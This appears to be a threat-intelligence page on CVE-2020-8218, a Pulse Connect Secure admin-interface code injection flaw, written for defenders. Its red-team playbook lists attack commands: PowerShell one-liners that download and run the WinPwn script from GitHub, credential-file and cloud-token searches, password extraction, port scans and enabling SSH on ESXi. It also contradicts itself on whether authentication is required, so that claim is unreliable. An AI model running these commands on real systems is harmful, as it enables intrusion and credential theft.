CVE-2020-8218

HIGH CISA KEV POC TTE 29d Pub 30/07 Upd 21/10

Overview

This vulnerability is a code injection flaw rooted in improper input validation within the Pulse Connect Secure administrative web interface. Specifically, the flaw arises from insufficient sanitization of crafted Uniform Resource Identifiers (URIs) processed by the admin interface, allowing injection of arbitrary code. The affected component is the URI handling mechanism in Pulse Connect Secure versions prior to 9.1R8, which fails to correctly parse and validate input before execution.

Vulnerability Description

A code injection vulnerability exists in Pulse Connect Secure <9.1R8 that allows an attacker to crafted a URI to perform an arbitrary code execution via the admin web interface.

Impact

An attacker with administrative privileges can leverage this vulnerability to execute arbitrary code on the Pulse Connect Secure appliance, effectively gaining full control over the device. This includes the ability to manipulate system configurations, access sensitive data, and potentially pivot within the network. Exploitation requires authenticated access to the admin interface, making it a critical risk for compromised or insider accounts. The result is a full system compromise with potential for data breach and disruption of secure remote access services.

Solution

Ivanti has released security advisory SA44516 addressing this vulnerability in Pulse Connect Secure. Administrators should upgrade affected installations to version 9.1R8 or later as specified in the advisory. Detailed patch instructions and version-specific fixes are available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516. No alternative workarounds are recommended; timely application of the vendor-supplied patch is required to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant code injection vulnerability has been identified in specific versions of Pulse Connect Secure and Pulse Policy Secure, which allows an attacker to execute arbitrary code through a crafted URI via the administrative web interface. This flaw arises from insufficient input validation, enabling malicious actors to manipulate requests sent to the web interface. The vulnerability is particularly concerning because it can be exploited without requiring authentication, making it accessible to unauthenticated users who can send specially crafted requests to the affected systems.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick a user into clicking a malicious link or directly target the administrative interface with crafted URIs. Once the crafted request is processed by the vulnerable system, the attacker can execute arbitrary commands, potentially leading to full system compromise. This scenario underscores the critical need for robust security measures around administrative interfaces, as they often hold significant control over the network and its resources.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Pulse Connect Secure for secure remote access. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system takeover. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, especially if sensitive customer data is compromised. Organizations could face significant operational challenges as they work to remediate the breach and restore trust with stakeholders.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is crucial, as vendors often release updates to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the administrative interface. Monitoring logs for unusual access patterns or failed login attempts can also aid in early detection of potential exploitation attempts. Furthermore, organizations should enforce strict access controls and limit administrative access to trusted personnel only, reducing the attack surface.

In conclusion, the code injection vulnerability in Pulse Connect Secure and Pulse Policy Secure represents a serious threat that can lead to significant security breaches if left unaddressed. Organizations must prioritize the implementation of effective detection and mitigation strategies to safeguard their systems and data. By maintaining a proactive security posture and ensuring that administrative interfaces are adequately protected, businesses can significantly reduce the risk associated with this and similar vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in activity exploiting CVE-2020-8218, evidenced by the emergence of new proof-of-concept tools publicly available for testing this Pulse Connect Secure vulnerability. Our telemetry indicates a sharp increase in attempts targeting the administrative web interface, signaling that adversaries are actively validating and potentially weaponizing this code injection flaw. Although ransomware involvement remains unconfirmed, the elevated exploitation attempts heighten the risk of unauthorized system control and data compromise. This development elevates the threat level from a theoretical concern to an active exploitation scenario, underscoring the urgency for defenders to enhance monitoring of administrative access points and to prioritize detection capabilities for this vulnerability.



Update 2 — June 23, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the Pulse Connect Secure vulnerability CVE-2020-8218. While the overall exploit prediction scoring has declined, indicating a reduced likelihood of widespread automated attacks, our telemetry reveals increased manual validation efforts by threat actors. This divergence suggests adversaries are refining their attack techniques, potentially aiming for more targeted intrusions rather than opportunistic exploitation. The emergence of publicly available proof-of-concept tools further lowers the barrier for attackers to leverage this vulnerability, increasing the risk of successful compromise. Consequently, the threat landscape has shifted from sporadic probing to more deliberate exploitation attempts, elevating the operational risk for organizations relying on vulnerable Pulse Connect Secure instances. Defenders should recognize that despite a lower EPSS score, the qualitative surge in activity signals persistent adversary interest and the potential for impactful breach scenarios.



Update 3 — July 17, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-8218, with our telemetry indicating a doubling in detection frequency over recent monitoring periods. This surge reflects increased adversary engagement, likely driven by the continued availability of public proof-of-concept tools that simplify exploitation efforts. Although the EPSS score remains stable and below critical thresholds, the qualitative increase in activity signals a shift from opportunistic scanning to more purposeful intrusion attempts. For defenders, this evolving threat dynamic underscores a heightened operational risk, as attackers demonstrate persistent interest and improved capability to leverage this vulnerability for arbitrary code execution via the administrative interface. Consequently, organizations with unpatched Pulse Connect Secure deployments face an elevated likelihood of targeted compromise, warranting sustained vigilance despite the absence of confirmed ransomware linkage at this time.

Affected Products (24)

Vendor Product Version CPE
ivanti Ivanti Connect Secure All cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r4.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r6:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r7:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:-:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r2:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r3:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r3.1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r4:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r4.1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 9.1 cpe:2.3:a:ivanti:policy_secure:9.1:r4.2:*:*:*:*:*:*
+4 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
withdk/pulse-gosecure-rce-poc
Tool to test for existence of CVE-2020-8218
withdk 21 13 2020-08-29 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

7 events
2026-07-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-03-07
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-08-29
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Code Injection
80% code_injection
OS Command Injection
74% command_injection
File Upload Vulnerabilities
69% file_upload

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
51%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
38%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-8218
kb.pulsesecure.net
GitHub CVE x_refsource_MISC
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44516
gosecure.net
GitHub CVE x_refsource_MISC
https://www.gosecure.net/blog/2020/11/13/forget-your-perimeter-part-2-four-vulnerabilities-in-pulse-connect-secure/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8218